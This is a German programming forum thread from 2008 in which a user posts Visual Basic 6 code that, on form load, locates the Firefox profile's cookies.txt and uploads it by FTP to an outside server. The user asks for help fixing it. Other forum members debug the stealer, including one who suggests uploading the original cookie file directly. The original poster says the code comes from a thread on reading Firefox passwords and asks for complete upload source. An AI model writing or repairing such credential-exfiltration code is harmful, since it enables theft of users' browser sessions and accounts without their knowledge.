|
| Autor |
Nachricht |
the_gam3r_
Coder
Anmeldedatum: 09.02.2008
Beiträge: 89
|
Datei wird Falsch geuploaded
Verfasst am: 06.03.2008, 22:12 |
|
|
Hi,
Wieso funktioniert dieser code nicht.
Er upped nur eine .txt mit dem pfad zur cookies.txt
| Code: | Private Sub Form_Load()
Dim FireFoxPath As String
Dim ProfilePath As String
Dim No7 As String
Dim No6 As String
Dim ProfileName As String
Dim Useless As String
Dim Localfile As String
Dim Remotefile As String
Dim kaka As String
Dim after As String
FireFoxPath = Environ$("appdata") & "\Mozilla\FireFox"
Open FireFoxPath & "\profiles.ini" For Input As #1
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, No7
Close #1
ProfileName = Mid(No7, 15)
ProfilePath = FireFoxPath & "\Profiles\" & ProfileName
Open "lala.txt" For Append As #1
Print #1, ProfilePath & "\cookies.txt"
Close #1
Open "lala.txt" For Input As #1
Input #1, No6
kaka = Mid(No6, 15)
Localfile = "lala.txt"
Remotefile = "/cookies.txt"
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "sldc.sl.funpic.de"
.UserName = "us"
.Password = "pw"
.Execute , "PUT " & Localfile & " " & Remotefile
End With
End Sub
|
Bitte um hilfe |
|
| |
|
 |
sirius:root_
Newbie
Anmeldedatum: 28.09.2007
Beiträge: 17
|
Verfasst am: 07.03.2008, 15:08 |
|
|
| Code: | Open "lala.txt" For Append As #1
Print #1, ProfilePath & "\cookies.txt"
Close #1
|
Dadran liegts afaik 
Du schreibst ja nur den Pfad in die lala.txt.
Warum lädst du nicht gleich die originale cookies.txt hoch?
Gruß sirius |
|
| |
|
|
the_gam3r_
Coder
Anmeldedatum: 09.02.2008
Beiträge: 89
|
Verfasst am: 07.03.2008, 15:09 |
|
|
| Code: | Private Sub Form_Load()
Dim FireFoxPath As String
Dim ProfilePath As String
Dim No7 As String
Dim No6 As String
Dim ProfileName As String
Dim Useless As String
Dim Localfile As String
Dim Remotefile As String
Dim kaka As String
Dim after As String
FireFoxPath = Environ$("appdata") & "\Mozilla\FireFox"
Open FireFoxPath & "\profiles.ini" For Input As #1
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, No7
Close #1
ProfileName = Mid(No7, 15)
ProfilePath = FireFoxPath & "\Profiles\" & ProfileName
Localfile = ProfilePath & "\cookies.txt"
Remotefile = "/cookies.txt"
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "sldc.sl.funpic.de"
.UserName = ""
.Password = ""
.Execute , "PUT " & Localfile & " " & Remotefile
End With
End Sub
|
??????????????????
edit://
der code muss funktioniere, da er ja richtig ist oO |
|
| |
|
|
c0re_
« Moderator »
Anmeldedatum: 29.11.2007
Beiträge: 425
|
Verfasst am: 08.03.2008, 00:33 |
|
|
Dir ist aber klar, dass das ein Doppelpost ist?
 |
|
| |
|
|
the_gam3r_
Coder
Anmeldedatum: 09.02.2008
Beiträge: 89
|
Verfasst am: 08.03.2008, 00:34 |
|
|
war nur zum pushen, da niemand antwortet^^
Und wie oft noch das pushen nur ALLE 2 TAGE erlaubt ist?!? Zweite Verwarnung
Wieso habt ihrs nur immer so eilig-.- |
|
| |
|
|
sollniss_
Coder
Anmeldedatum: 08.09.2007
Beiträge: 212
|
Verfasst am: 08.03.2008, 01:55 |
|
|
| Code: | | Remotefile = "cookies.txt" |
was das mit dem useless soll weiß ich auchnet, fehlen da die "" oder sind das vars?
http://sollniss.1x.to/
 |
|
| |
|
|
the_gam3r_
Coder
Anmeldedatum: 09.02.2008
Beiträge: 89
|
Verfasst am: 08.03.2008, 13:04 |
|
|
der source is von dem thread "Firefox Passwörter auslesen"
Aber der liest erstmal den pfad von den ff cookies, dann sollte er die datei eig uppen ?
könnte mir einer nen source zu cookies.txt zum uppen geben? wär n1 |
|
| |
|
|
|
|
Registrieren
Login
